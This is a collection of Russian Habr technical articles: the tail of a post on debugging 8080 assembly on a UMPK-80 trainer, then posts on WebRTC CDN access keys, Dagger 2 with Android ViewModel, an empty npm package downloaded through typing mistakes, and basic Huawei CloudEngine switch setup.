ldax d ;загружаем в А содержимое по адресу ячейки D+E
out 0xF9
mov a, l; регистр В хранит порядковый бит сегмента
out 0F8h; зажигаем соответствующий сегмент
ret
data:
DB 76h, 3Fh, 7Fh, 7Ch, 30h, 00, 31h, 3Fh, 5Eh, 00h, 5Bh, 3Fh, 5Bh, 5Bh, 00h, 39h, 73h, 6Eh, 7Fh, 5Eh, 39h, 00h, 00h
```
Тогда я записал чисто для себя видео, потому что в дальнейшем предполагал прошить всё в ПЗУ и сделать красиво. И работающее видео бегущей строки есть только вот в таком качестве.
Как видно на видео, ещё не решена проблема «размазывания» символов на два сегмента. На тот момент я ещё не понимал, в чём кроется проблема, хотя впоследствии оказалась, что это программная ошибка.
Ну вот, у меня есть код, я умею шить ПЗУ, осталось только взять `ORG 0800h` заменить `ORG 0400h`, пересобрать и прошить в ПЗУ. Делаю, и-и-и-и, ничего не работает! Вообще, совсем, никак.
И вот тут начинается совершенно необычная магия, которая неведома обычным программистам. Не буду спойлерить, обо всём по порядку.
На старт, внимание, DEBUG!
--------------------------
Ну что же, настало время выловить всех жуков в чемодане. Как я уже сказал, первое что я попробовал сделать — это перенести программу в "[Симулятор УМПК-80](https://cifra.studentmiv.ru/simulyator-umpk-80/)". Да, там есть архитектурные отличия, в частности, дисплей работает совершенно по-другому. Поэтому я просто смотрел, что же происходит в портах. Также сделал подпрограмму симуляции вывода в память, вместо дисплея. С точки зрения логики, всё работало как часы. Но в чемодане не работало. Значит пойду по пути декомпозиции и проверю что да как.
Одно из подозрений было, может ПЗУ вообще не работает? Хотя такого быть не может, потому что я уже делал мигалку в посте "[Что с памятью моею стало](https://habr.com/ru/company/ruvds/blog/648649/)" и она успешно работала. Поэтому решил взять программу, чуть посложнее, ту самую, которая выводит RuVDS и проверить её. Программа простая, и приведу её тут целиком.
```
ORG 0400h
start:
mvi l, 01 ; Стартовый бит дисплея
lxi b, data
m2:
call out_p
mov a, l
cpi 20h
jz start; если подошли к концу, то перейти на m1
rlc ; сдвинуть влево
mov l, a
inx b ;инкрементируем указатель на данные
jmp m2
out_p: ;подпрограмма вывода
mov a, l; регистр В хранит порядковый бит сегмента
out 0F8h; зажигаем соответствующий сегмент
ldax b ;загружаем в А содержимое по адресу ячейки D+E
out 0F9h
ret
data:
DB 73h, 6Eh, 7Fh, 5Eh, 39h, 00h, 00h
```
Прошиваю её в ПЗУ, и пробую. Всё корректно работает, заодно разобрался с проблемой артефактов. Оказалось всё просто, при переходе к следующему сегменту не гашу вывод, поэтому окрашиваю следующий сегмент предыдущим значением, и именно из-за этого идёт смазанное изображение. Лучше один раз увидеть, чем десять раз прочитать, сразу всё станет понятно.
Там я обмолвился с проблемами артефактов, но ещё непонятно что же это такое.
Казалось бы, решение простое, чтобы избавится послесвечения — это добавить пару строк кода в функцию `out_p`:
```
out_p: ;подпрограмма вывода
mvi a, 0; Погасим все сегменты
out 0F8h; зажигаем соответствующий сегмент
ldax b ;загружаем в А содержимое по адресу ячейки D+E
out 0F9h
mov a, l; регистр l хранит порядковый бит сегмента
out 0F8h; зажигаем соответствующий сегмент
ret
```
Добавлено всего лишь:
* `mvi a, 0` — гашение сегментов
* `out 0F8h` — вывод в порт нуля
То есть никаких криминальных изменений нет, загружаю и… Ничерта не работает, всё падает с ошибкой!
В режиме отладки вместо RuVDS выводятся какие-то артефакты, а при полноценной работе не работает вообще. Просто мистика какая-то!
При этом если взять, забить ПЗУ нулями (операция nop), а в ОЗУ расположить код, то код в ПЗУ корректно выполняется. Чтобы было понятнее, лучше посмотреть на видео.
Надо понимать, что это уже шла третья или четвёртая бессонная ночь, когда я сидел с этим чемоданом до 6 утра.
Когда ничего не работает, приходит время читать документацию.
Все лгут, никому нельзя верить
------------------------------
Как говорил герой одного знаменитого сериала: «все врут». Поэтому я не верил никому: ни себе, что я пишу хороший код, ни программатору, что он корректно записывает, ни транслятору, его писали люди и он может ошибаться, ни чемодану, который может работать не так. И требовалось проверить всё.
Проще говоря, источником ошибок могли быть:
* **Программист.**
* **Транслятор.**
* **Программатор.**
* **Чемодан.**
* **Работа с дисплеем.**
С кодом всё просто, смотрим, что даёт транслятор, смотрим документацию на процессор и сверяем каждый байт. После 20 раз, документация уже не нужна, и ты можешь это делать, не подглядывая в справочник. В этой области я был уверен. Плюс код погонял в эмуляторе, и там он работает корректно. Следовательно в первых двух пунктах я более-менее уверен, тем более что не так всё сложно.
### ▍ Проверка программатора
Следующим этапом надо было проверить программатор. Поскольку программатора у меня два, то разумно будет одним программатором записать ПЗУ, а другим считать её. И сравнить содержимое, одно и то же ли туда пишется?
Подключаю программатор, и в хекс редакторе bless открываю код, и смотрю что же считывает программатор.
*Содержимое файла прошивки.*
*Результат чтения микросхемы.*
Содержимое идентично, значит проблема не в программаторе, всё записывается корректно.
### ▍ Обратимся к документации
Когда отпадают все возможные варианты, приходит грустная пора чтения документации.
И вот что выяснилось, что оказывается на странице 27 даётся такая фраза, которая ничего не проясняет, а только ещё больше запутывает.
Секундочку, `0xF9` это же как раз регистр для работы с дисплеем? То есть запись в этот регистр может как-то отключать память? Самое забавное, что больше нигде этот момент не проясняется.
Окей, пойдём другим путём, есть процедура вывода на дисплей в документации, может просто возьмём её и реализуем. К сожалению в силу её реализации в УМК, не получится её так просто использовать в своих программах, вызывая её, поэтому просто переписал её, выкинув «лишние» моменты опроса клавиатуры. В документации она начинается на 71 странице, называется CIBEG. Кстати, в моей прошивке она эквивалентна, только используются другие адреса памяти (у меня 1кБ ОЗУ, а документация на 2-х килобайтную версию УМК).
Изначально, я сделал реализацию с nop, так чтобы по тактам процедура полностью соответствовала и точно располагалась в памяти, но ничего не работало.
И тут меня начало осенять, что если программа очень большая, то ничего не работает? Убрал все nop и сделал её максимально короткой, и, о чудо!, всё заработало!
```
PORTA equ 0F8h ;Порт адреса
PORTB equ 0F9h ;Порт данных
ERASE equ 0 ;Сброс индикации
NMBIND equ 00100000b ;N индикат №5
ORG 0400h
start:
lxi h, BUFCO
mvi b, NMBIND
ciloop:
;Цикл регенерации
mov a, b
out PORTA
mov a, m
out PORTB
;in 10
;ani 7
;cpi 7
mvi a, ERASE
out PORTB
;jnz 10
inx h
mov a,b
rrc
mov b,a
jnc ciloop
jmp start
BUFCO:
DB 00h, 39h, 5Eh, 7Fh, 6Eh, 73h, 00h
```
*Корректный результат работы с гашением сегментов.*
Таким образом, эмпирическим путём я установил, что если программу сделать меньше 32 байт, то всё работает корректно.
В работе это выглядит вот так:
Осталось проанализировать, что же произошло, почему не работает программа более чем 32 байта?
Анализ проблемы
---------------
Как оказалось проблема аппаратная, почему-то мой волшебный чемодан не подаёт сигнал на 5 адрес пин микросхемы ПЗУ (как раз 0x20h). Поэтому вместо того, чтобы считывать данные с 0x20, чтение идёт с нулевого адреса микросхемы ПЗУ. Это и объясняет все вылезающие артефакты, которые были при выводе. Фактически это данные нулевых адресов моей ПЗУ, или точнее 0x400 в памяти чемодана.
Как говорится, электроника — это наука о контактах, и надо проверить, может где-то имеет место непропай, либо плохой контакт. Вооружившись мультиметром, начал прозванивать все ножки.
*Микросхема ПЗУ программы монитор и пользовательская ПЗУ.*
*Тыльная сторона установки микросхем.*
Все адреса успешно звонились у обоих микросхем, отличие было только в сигнале CЕ (инвертирован), который и определяет “адресность” микросхем. То есть, сигналы корректны, и сигналы на монитор приходят успешно. Пробовал всё покачать, притереть, но работоспособности так и не добился.
В любом случае, проблема аппаратная. Можно было разбросать код по микросхеме, минуя адрес 0x20, ещё уменьшив размер микросхемы, для моей демки этого бы уже хватило, но моральных сил на этот эксперимент уже не хватило.
Что же дальше?
--------------
После указанных проблем, как-то подостыл к чемодану, потому что для дальнейшей работы нужно полное ПЗУ. Напоследок вывел habr, чтобы не было обидно. А далее зашил нейтральное слово «HELLO», без бегущей строки и решил собрать чемодан до лучших времён.
*Взглянем в последний раз на процессорную плату с ПЗУ, перед сборкой.*
Фух, это было круто. Никогда бы не подумал, что буду ловить вот таких аппаратных жуков, хотя хотел просто написать программу.
Заключение
----------
К сожалению, в рамках статьи невозможно описать все варианты экспериментов, которые я провёл, покуда выловил этот баг. Вариантов кода было множество. Изначально я сетовал на обращение не в те области памяти, потом сетовал на вывод в порт `0F9h`, а потом когда понял, стало совсем грустно. Но всё ещё искал варианты, как же разрешить эту проблему. Все ветвления путей решений заняло недели три, при этом обычно я засиживался до 4-6 утра, и зелёным овощем на следующий день шёл на работу, а вечером всё повторялось. Конечно, это привело к некоторому выгоранию по данному устройству, но остановиться было нельзя — очень интересно!
Могу честно сказать, что наигрался с чемоданом от души. Может не так эпично вышло, чем если бы собрал всё сам, но тем не менее, разобрался, как шить ПЗУ. Попробовал разные программаторы. Поймал аппаратный глюк, который по неопытности сразу не понял.
Из любопытного, ПЗУ КР573РФ5 мне зашить так и не удалось, хотя я надеялся больше всего. При отладке у меня постоянно “запекались” ПЗУ в стиралке, пока я тестировал программу на оставшихся. В процессе экспериментов у меня скопилось несколько мёртвых микросхем.
*Микросхемы, павшие в боях.*
В любом случае, это было очень интересное развлечение. Ещё порывался поработать с платой расширения, но мне удалось только снять с неё лишние детали, а вот с портом ввода-вывода так и не удалось договориться.
Думаю на этой интересной ноте, я таки завершу свои эксперименты с волшебным чемоданом, это крайне интересное устройство. Но я устал, я мухожук.
Предыдущие публикации по теме:
------------------------------
1. [Волшебный чемодан](https://habr.com/ru/company/ruvds/blog/598697/)
2. [Что с памятью моею стало](https://habr.com/ru/company/ruvds/blog/648649/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=dlinyj&utm_content=%0Alovlya_zhukov_v_chemodane) | https://habr.com/ru/post/652151/ | null | ru | null |
# Динамическая CDN для WebRTC стриминга с низкой задержкой и контролем доступа к потокам
В [первой части](https://habr.com/en/company/flashphoner/blog/477310/) мы развернули простую динамическую CDN для трансляции WebRTC потоков на два континента и убедились в том, что задержки в такой CDN действительно низкие, на примере таймера обратного отсчета.
Во [второй части](https://habr.com/en/company/flashphoner/blog/477874/) мы добавили в CDN выделенные серверы для задач транскодирования, чтобы обеспечить нашим зрителям качество трансляции в зависимости от используемых ими устройств и качества канала. Таким образом, все публикуемые потоки в нашей CDN доступны всем зрителям.
Теперь допустим, что предприятие выходит на этап монетизации и часть потоков должны быть доступны бесплатно, часть — по подписке. Или, например, вебинары для внутреннего обучения сотрудников транслируются одновременно, но для разных филиалов потоки разные, и открывать техники продаж, применяемые в Юго-Восточной Азии, для менеджеров из СНГ нежелательно.
В этих случаях потребуется разграничение доступа подписчиков к публикуемым потокам. Посмотрим, какими способами его можно обеспечить.
Управляем доступом: возможные варианты
--------------------------------------
Как правило, доступ к сервису вообще и к потокам в частности управляется на бэкенде. Например, можно ограничить доступ пользователей к сервису по домену на этапе установки соединения:
1. При установке соединения с клиентом медиасервер передает сообщение на бэкенд-сервер при помощи webhook или REST hook
2. Бэкенд-сервер возвращает 200 OK, если домен, с которого подключается подписчик, проходит проверку, и 403 Forbidden, если не проходит
3. Медиасервер устанавливает соединение с подписчиком, если получил от бэкенд-сервера ответ 200 OK, или разрывает его
Если необходимо ограничить доступ к конкретному потоку по его имени, это можно сделать, например, так:
1. Клиент передает на медиасервер имя потока и ключ доступа
2. Медиасервер передает эти данные на бэкенд-сервер при помощи webhook или REST hook
3. Бэкенд-сервер возвращает 200 OK, если доступ к этому потоку по этому ключу разрешен, и 403 Forbidden в противном случае
4. Медиасервер отдает поток подписчику, если получил от бэкенд-сервера ответ 200 OK, или возвращает клиенту ошибку
Основную часть работы при этом берет на себя бэкенд-сервер. Он должен знать, какие потоки в данный момент доступны в CDN, и какие ключи доступа каким потокам соответствуют. Для бэкенд-сервер должен постоянно опрашивать серверы CDN, чтобы построить для себя список потоков, должен вести некую базу данных с ключами, и должен предоставить определенное API для назначения ключей потокам.
Все это означает большие объемы серверного кода, которые должны быть разработаны заново под каждый проект. Разумеется, использование готовых библиотек упростит разработку, но не интеграцию, даже из деталей от спорткара получится шустрый и красивый, но велосипед.
Можно ли этого избежать? Да, можно, если переложить работу на CDN:
1. Потокам при публикации назначаются списки ключей доступа, например, при помощи REST API
2. Клиент при установке соединения передает на медиасервер ключ доступа и имя потока
3. Медиасервер отдает поток подписчику, если ключ входит в список, назначенный потоку, или возвращает ошибку, если не входит
Посмотрим, как это работает, на примере нашей CDN, развернутой в предыдущих частях.
Переходим на Freemium
---------------------
Итак, мы вводим подписку на некоторые потоки в нашей CDN. И, поскольку списки контроля доступа для потоков будут передаваться между всем узлами в CDN, первое, что необходимо сделать — переключить CDN на использование шифрованных соединений. Добавляем на всех узлах настройку
```
wcs_agent_ssl=true
```
и перезапускаем все серверы в CDN.
Публикуем поток `test` на сервере `o-eu1`, играем поток с сервера `e-eu1` в примере Player
Отправляем REST API запрос на сервер `o-eu1`, назначая список контроля доступа потоку `test`
Поток перестает играть
Поправим исходный код примера Player, чтобы указать ключ доступа к потоку `key1`
```
Flashphoner.createSession({urlServer: "wss://e-eu1.flashphoner.com:8443", custom: {aclAuth: "key1"}}).on(SESSION_STATUS.ESTABLISHED, function(session){
...
});
```
Обновим страницу примера и снова проиграем поток
Поток доступен!
Попробуем проиграть этот же поток с ключом `key2` из VLC по RTMP с транскодингом
Транскодированный поток также доступен по ключу! Здесь и далее обратите внимание на разницу между WebRTC и RTMP, в первом случае задержка составляет менее секунды, во втором до 2-3 секунд
Предположим, у клиента закончилась подписка. Удалим из списка контроля доступа к потоку `test` ключ `key1`
Теперь поток в примере Player недоступен, а в VLC по-прежнему играет!
Проверим, что ключа `key1` действительно больше нет в списке
Таким образом, вся работа бэкенда в ограничении доступа к потока в CDN сводится к посылке REST API запросов на Origin серверы, само управление доступом доступно в CDN из коробки.
Заключение
----------
Итак, курс молодого бойца по развертыванию и настройке CDN для стриминга WebRTC потоков с низкой задержкой успешно пройден:
* [сначала](https://habr.com/en/company/flashphoner/blog/477310/) мы развернули простую CDN и научились ее масштабировать;
* [затем](https://habr.com/en/company/flashphoner/blog/477874/) мы научились транскодировать потоки на выделенных для этого серверах;
* наконец, мы научились ограничивать доступ к потокам для клиентов.
Конечно, в доставке медиапотоков зрителям есть и множество других нюансов. Например, сейчас в моде виртуальная реальность, а чтобы обеспечить качество трансляции для FullHD и 4K потоков, используемых в этом случае, придется постараться. Но это уже совсем другая история...
Ссылки
------
[CDN для стриминга WebRTC с низкой задержкой](https://flashphoner.com/cdn-dlya-striminga-webrtc-s-nizkoj-zaderzhkoj/?lang=ru) — сеть доставки контента на базе Web Call Server. | https://habr.com/ru/post/478302/ | null | ru | null |
# Dagger2 и архитектурный компонент «ViewModel»
ViewModel — это компонент из набора библиотек под названием [Android Architecture Components](https://developer.android.com/topic/libraries/architecture/index.html), которые были представлены на Google I/O 2017. ViewModel — предназначена для хранения и управления данными связанных с представлением, а также с возможностью “пережить” пересоздание активити (например переворот экрана).
На Хабре уже была хорошая [статья](https://habrahabr.ru/post/334942/) посвящена ViewModel, где можно ознакомится с данной темой более детально.
В данной статье будет рассмотрены варианты инжекта(предоставление) зависимостей в компонент `ViewModel` с использованием Dagger 2. Проблема заключается в том, что получение ViewModel должно осуществляться специальным образом, что в свою очередь накладывает некоторые ограничения, которые связанные с предоставлением зависимостей в сам класс `ViewModel`, а также предоставление `ViewModel` в качестве зависимости. Данная статья также возможно будет интересна тем, кто интересуется практическим применением такой функциональности Dagger, как multibinding.
Специальный способ получение `ViewModel` заключается в следующем:
В начале мы должны получить `ViewModelProvider`, который будет связан с активити или фрагментом, так же это определяет время жизни `ViewModel`.
```
ViewModelProvider provider =
ViewModelProviders.of([, ViewModelProvider.Factory]);
```
Второй параметр служит для указания фабрики, которая будет использоваться для создания инстанса ViewModel, не является обязательным, если мы его не указываем, будет использоваться фабрика по умолчанию. Фабрика по умолчанию поддерживает создание инстанса классов, которые являются наследниками `ViewModel`(с конструктором без аргументов) и классов, которые являются наследниками `AndroidViewModel`(c конструктором с одним аргументом — тип `Application`).
Если мы хотим создать инстанс `ViewModel` с собственными аргументами в конструкторе (которые не поддерживаются фабрикой по умолчанию), то нам необходимо реализовать собственную фабрику.
После того, как получили `ViewModelProvider`, мы уже можем получить `ViewModel`:
```
ProductViewModel productVM = provider.get(ProductViewModel.class);
```
Из вышеперечисленного описания следует:
* Чтобы иметь возможность предоставлять зависимости в `ViewModel` в качестве аргументов конструктора, нам необходимо реализовать собственную фабрику.
* Мы можем воспользоваться фабрикой по умолчанию, но при этом также можем предоставить зависимости в `ViewModel`, используя компонент, который мы можем получить из Application.
* Для правильного получения `ViewModel` нам необходимо иметь доступ к активити или фрагменту и получение должно осуществляться через класс `ViewModelProviders`.
Предоставить зависимости в `ViewModel` можно разными способами и каждого из способов есть свои плюсы и минусы, поэтому будет рассмотрены несколько вариантов.
#### Вариант с фабрикой по умолчанию
Начнем с определения модуля и сабкомпонента, которые будут использоваться для инжекта в активити:
```
@Module
public class ActivityModule {
@Provides
public ProductViewModel productViewModel(AppCompatActivity activity) {
return ViewModelProviders.of(activity).get(ProductViewModel.class);
}
}
```
```
@Subcomponent(modules = {ActivityModule.class})
public interface ActivitySubComponent {
@Subcomponent.Builder
interface Builder {
@BindsInstance
Builder with(AppCompatActivity activity);
ActivitySubComponent build();
}
void inject(MainActivity mainActivity);
}
```
Наличие такого модуля и сабкомпонента дает нам возможность запросить вью модель через `@Inject` вместо `ViewModelProviders.of(activity).get(ProductViewModel.class)` внутри нашей активити.
При использовании фабрики по умолчанию, созданием инстансов наших `ViewModel` будет заниматься эта фабрика и мы не можем запрашивать зависимости в `ViewModel` через конструктор, поэтому будем инжектить зависимости через компонент. Для того чтобы не засорять root компонент создадим сабкомпонент специально для вью моделей.
```
@Subcomponent
public interface ViewModelSubComponent {
@Subcomponent.Builder
interface Builder {
ViewModelSubComponent build();
}
void inject(ProductViewModel productViewModel);
}
```
Определим наш root компонент:
```
@Component(modules = {AppModule.class})
@Singleton
public interface AppComponent {
@Component.Builder
interface Builder {
@BindsInstance
Builder withApplication(Application application);
AppComponent build();
}
ViewModelSubComponent.Builder viewModelSubComponentBuilder();
ActivitySubComponent.Builder activitySubComponentBuilder();
}
```
`AppModule` — будет содержать зависимости, которые нужны будут нашим вью моделям(например `ProductDetailsFacade`).
Создадим Application, который будет содержать в себе root компонент и сабкомпонент для вью моделей:
```
public class App extends Application {
private AppComponent appComponent;
private ViewModelSubComponent viewModelSubComponent;
@Override
public void onCreate() {
super.onCreate();
appComponent = DaggerAppComponent
.builder()
.withApplication(this)
.build();
viewModelSubComponent = appComponent
.viewModelSubComponentBuilder()
.build();
}
public AppComponent getAppComponent() {
return appComponent;
}
public ViewModelSubComponent getViewModelSubComponent() {
return viewModelSubComponent;
}
}
```
Теперь мы можем заинжектить зависимости в `ViewModel`:
```
public class ProductViewModel extends AndroidViewModel {
@Inject
ProductFacade productFacade;
public ProductViewModel(Application application) {
super(application);
//Получение компонента, может быть оптимизировано.
//Данный вариант для демонстрации
((App)application)
.getViewModelSubComponent()
.inject(this);
}
//methods
}
```
Вместо инжекта можно использовать provide методы у компонента.
Инжект `ViewModel` в активити:
```
public class MainActivity extends AppCompatActivity {
@Inject
ProductViewModel productViewModel;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//Получение компонента, может быть оптимизировано.
//Данный вариант для демонстрации
((App) getApplication())
.getAppComponent()
.activitySubComponentBuilder()
.with(this)
.build()
.inject(this);
}
}
```
Преимущества данного способа:
* Минимальные знания по Dagger 2.
* Используются только базовые “фичи” Dagger 2 (можно использовать на ранних версиях библиотеки).
* Использование стандартной фабрики по предоставлению `ViewModel`.
Недостатки:
* Inject метод для каждой `ViewModel` (или наличие провайд методов для каждой зависимости у компонента).
* Inject внутри `ViewModel`.
#### Вариант с собственной фабрикой
Создадим пару вью моделей, где будем предоставлять зависимости через конструктор:
```
public class UserViewModel extends ViewModel {
private UserFacade userFacade;
@Inject
public UserViewModel(UserFacade userFacade) {
this.userFacade = userFacade;
}
//methods
}
public class UserGroupViewModel extends ViewModel {
private UserGroupFacade userGroupFacade;
@Inject
public UserGroupViewModel(UserGroupFacade userGroupFacade) {
this.userGroupFacade = userGroupFacade;
}
//methods
}
```
Создадим собственную аннотацию ключа, которые мы будем использовать для байндинга наших вью моделей в коллекцию для использования мультибайндинга. Про мультибайндиг можно почитать [здесь](https://habrahabr.ru/post/336414/).
```
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@MapKey
@interface ViewModelKey {
Class extends ViewModel value();
}
```
Определим модуль, где мы будем байндить в коллекцию наши вью модели:
```
@Module
public abstract class ViewModelModule {
@Binds
@IntoMap
@ViewModelKey(UserViewModel.class)
abstract ViewModel userViewModel(UserViewModel userViewModel);
@Binds
@IntoMap
@ViewModelKey(UserGroupViewModel.class)
abstract ViewModel groupViewModel(UserGroupViewModel groupViewModel);
}
```
Перейдем к написанию нашей фабрики по предоставлению `ViewModel` с использованием мультибайндинга:
```
public class DemoViewModelFactory implements ViewModelProvider.Factory {
private final Map,
Provider> viewModels;
@Inject
public DemoViewModelFactory(Map,
Provider> viewModels) {
this.viewModels = viewModels;
}
@Override
public T create(Class modelClass) {
Provider viewModelProvider = viewModels.get(modelClass);
if (viewModelProvider == null) {
throw new IllegalArgumentException("model class "
+ modelClass
+ " not found");
}
return (T) viewModelProvider.get();
}
}
```
`Provider` дает нам возможность использовать отложенную инициализацию вью модели, а также получение каждый раз нового инстанса вью модели.
Без мультибайндинга у нас мог бы быть огромный блок из if/else.
Класс `Application`:
```
@Component(modules = {AppModule.class, ViewModelModule.class})
@Singleton
public interface AppComponent {
@Component.Builder
interface Builder {
@BindsInstance
Builder withApplication(Application application);
AppComponent build();
}
void inject(MainActivity mainActivity);
}
```
Предоставление `ViewModel` в наше активити:
```
public class MainActivity extends AppCompatActivity {
@Inject
DemoViewModelFactory viewModelFactory;
UserViewModel userViewModel;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
((App) getApplication())
.getAppComponent()
.inject(this);
userViewModel = ViewModelProviders.of(this, viewModelFactory)
.get(UserViewModel.class);
}
}
```
Преимущества данного способа:
* Можем использовать `@Inject` над конструктором в `ViewModel` и тем самым получать зависимости, а также добавить `ViewModel` в граф зависимостей. Не нужно писать под каждую вью модель inject метод.
* Одна простая фабрика для всех моделей.
* Простота добавления новой вью модели в фабрику.
Недостатки:
* По ошибке можно запросить модель не через фабрику(не через `ViewModelProviders.of()`, а с помощью `@Inject MyViewModel`). Не совсем удобное получение вью модели.
* Версия Dagger с поддержкой `multibinding и Provider<>`.
Если бы мы запрашивали модель через `@Inject`, то мы бы просто получили инстанс вью модели (т.к. она уже находится в графе зависимостей) и она бы никак не была бы связана с жизненным циклом активити или фрагментом и не смогла бы “пережить” например переворот экрана.Чтобы это работало нам необходимо, чтобы создание происходило через фабрику.
Мы не можем дважды добавить в граф вью модели, т.е. мы не можем сделать следующее:
```
@Module
public class ActivityModule {
//будет ошибка, т.к. UserViewModel уже в графе зависимостей
//(@Inject над конструктором)
@Provides
public UserViewModel productViewModel(
DemoViewModelFactory viewModelFactory,
AppCompatActivity activity) {
return ViewModelProviders
.of(activity, viewModelFactory)
.get(UserViewModel .class);
}
}
```
Для обхода данного ограничения можно ввести интерфейс для модели и запрашивать вью модель по интерфейсу:
```
@Module
public class ActivityModule {
@Provides
public UserViewModelInterface productViewModel(
DemoViewModelFactory viewModelFactory,
AppCompatActivity activity) {
return ViewModelProviders
.of(activity, viewModelFactory)
.get(ProductViewModelImplementation.class);
}
}
public class MainActivity extends AppCompatActivity {
@Inject
UserViewModelInterface userViewModel;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
((App) getApplication())
.getAppComponent()
.activitySubComponentBuilder()
.with(this)
.build()
.inject(this);
}
}
```
На момент написания статьи использовался dagger 2.11 и архитектурные компоненты версии 1.0.0-alpha9. Как вы могли заметить архитектурные компоненты на момент написания статьи имеют альфа версию. Возможно в будущем появятся и другие методы получения вью модели. | https://habr.com/ru/post/337320/ | null | ru | null |
# У пустого пакета npm «-» обнаружили 700 тысяч загрузок
Эксперты Bleeping Computer [обнаружили](https://www.bleepingcomputer.com/news/software/empty-npm-package-has-over-700-000-downloads-heres-why/), что у пустого пакета [npm «-»](https://www.npmjs.com/package/-) более 700 тысяч загрузок. Причем их количество все время возрастает с каждым днем. Вероятно, разработчики и пользователи его случайно устанавливают, когда ставят лишний пробел между «i» и "-" при установке флагов в нужных им пакетах с помощью пакетного менеджера npm.
[Разработчик](https://github.com/parzh) пустого пакета Дмитрий Паржицкий опубликовал его в реестре npm под версией 0.0.1 в тестовых целях год назад. Пакет не содержит функционального кода и не обновлялся после создания. Пакет содержит три файла:
`tar tvf 0.0.1 / - 0.0.1.tgz
package/dist/index.js
package/package.json
package/README.md`
Внутри файлов манифеста package.json и index.js в основном нет ничего интересного, только скелетный код.
*Состав файл index.js и файла манифеста (package.json). Манифест включает в себя множество зависимостей разработки (devDependencies) и вызывает некоторые команды для компонента «ts-node», но это все. На данный момент это практически мертвый код.*
В настоящее время пакет "-" [используется](https://www.npmjs.com/package/-) (служит зависимостью) в 56 пакетах npm без понятного объяснения. У большинства из этих пакетов не более нескольких десятков загрузок в неделю.
Bleeping Computer считает, что, вероятно, пакет очень часто устанавливается случайно, когда кто-то запускает команды npm с терминала и допускает типографические ошибки. Например, в строке вместо «npm i somepackage» при расширенной установке пользователи пишут «npm i — someFlag somepackage». Эта опечатка приводит к тысячам установок пакета "-".
Вдобавок пакет может попасть по ошибке в качестве зависимости в файл package.json при его конфигурировании вручную пользователем.
Эксперты Bleeping Computer обнаружили в реестре npm другие аналогичные пакеты — [i](https://www.npmjs.com/package/i), [g](https://www.npmjs.com/package/g), [install](https://www.npmjs.com/package/install), [D](https://www.npmjs.com/package/D), и [s](https://www.npmjs.com/package/s). У них тоже тысячи загрузок в сутки и часть из них могли быть сделаны из-за опечаток при написании определенных параметров и ключей при установке нужных разработчикам пакетов npm.
Разработчик Мэтт Фриланд из Sonatype рассказал Bleeping Computer, что «npm может (и, возможно, должен) запрещать компоненты, имена которых совпадают с именами его команд». Фриланд пояснил, что после установки пакетов npm представляет обобщенное сообщение об успехе, такое как «добавлено 3 пакета и проверено 8 пакетов», вместо того, чтобы печатать точный список установленных пакетов. По его мнению, указание установленных пакетов в сообщении об успешном выполнении дало бы разработчикам шанс на самом деле обнаружить свои ошибки, а сейчас они это не видят.
Bleeping Computer советует разработчикам проявлять осторожность при вводе команд npm в терминале, особенно при использовании флагов и ключей и проверять зависимости в своих пакетах от загадочных и ненужных пакетов и удалять их.
В марте 2020 года пакетный менеджер npm [стал частью](https://habr.com/ru/company/jugru/news/t/492620/) GitHub, которой владеет Microsoft. Публичный реестр npm после интеграции с GitHub остался доступен и бесплатен. | https://habr.com/ru/post/571060/ | null | ru | null |
# Настройка основных параметров у коммутаторов Huawei CloudEngine (на примере 6865)
Мы уже длительное время используем оборудование Huawei в [продуктиве публичного облака](https://mclouds.ru/pricing/iaas/). Недавно мы [добавили в эксплуатацию модель CloudEngine 6865](https://habr.com/ru/company/mclouds/blog/519530/) и при добавлении новых устройств, появилась идея поделиться неким чек-листом или сборником базовых настроек с примерами.
В сети есть множество аналогичных инструкций для пользователей оборудования Cisco. Однако, для Huawei таких статей мало и иногда приходится искать информацию в документации или собрать из нескольких статей. Надеемся, будет полезно, поехали!
В статье опишем следующие пункты:
* [Первое подключение](https://habr.com/ru/company/mclouds/blog/522510#1)
* [Настройка iStack](https://habr.com/ru/company/mclouds/blog/522510#2)
* [Настройка доступа к устройству](https://habr.com/ru/company/mclouds/blog/522510#3)
* [Базовые системные параметры](https://habr.com/ru/company/mclouds/blog/522510#4)
Первое подключение
------------------
Подключение к коммутатору через консольный интерфейсПо умолчанию коммутаторы Huawei поставляются без предварительных настроек. Без конфигурационного файла в памяти коммутатора, при включении запускается протокол ZTP (Zero Touch Provisioning). Не будем подробно описывать данный механизм, отметим лишь, что он удобен при работе с большим числом устройств или для осуществления настройки удалённо. Обзор ZTP [можно посмотреть на сайте производителя](https://support.huawei.com/enterprise/en/doc/EDOC1000088251).
Для первичной настройки без использования ZTP необходимо консольное подключение.
Параметры подключения (вполне стандартные)*Transmission rate: 9600
Data bit (B): 8
Parity bit: None
Stop bit (S): 1
Flow control mode: None*
После подключения Вы увидите просьбу задать пароль для консольного подключения.
Задаем пароль для консольного подключения*An initial password is required for the first login via the console.
Continue to set it? [Y/N]:* ***y****Set a password and keep it safe!
Otherwise you will not be able to login via the console.
Please configure the login password (8-16)
Enter Password:
Confirm Password:*
Просто задайте пароль, подтвердите его и готово! Изменить пароль и прочие параметры аутентификации на консольном порту далее можно с помощью следующих команд:
Пример смены пароля***system-view*** *[~HUAWEI]* ***user-interface console 0****[~HUAWEI-ui-console0]* ***authentication-mode password****[~HUAWEI-ui-console0]* ***set authentication password cipher*** *<пароль>
[\*HUAWEI-ui-console0]* ***commit***
Настройка стекирования (iStack)
-------------------------------
После получения доступа к коммутаторам, при необходимости можно настроить стек. Для объединения нескольких коммутаторов в одно логическое устройство в Huawei CE используется технология iStack. Топология стека - кольцо, т.е. на каждом коммутаторе рекомендуется использовать минимум 2 порта. Количество портов зависит от желаемой скорости взаимодействия коммутаторов в стеке.
Желательно при стекировании задействовать аплинки, скорость которых обычно выше, чем у портов для подключения конечных устройств. Таким образом, можно получить большую пропускную способность при помощи меньшего количества портов. Также, для большинства моделей есть ограничения по использованию гигабитных портов для стекирования. Рекомендуется использовать минимум 10G порты.
Есть два варианта настройки, которые немного отличаются в последовательности шагов:
1. Предварительная настройка коммутаторов с последующим их физическим соединением.
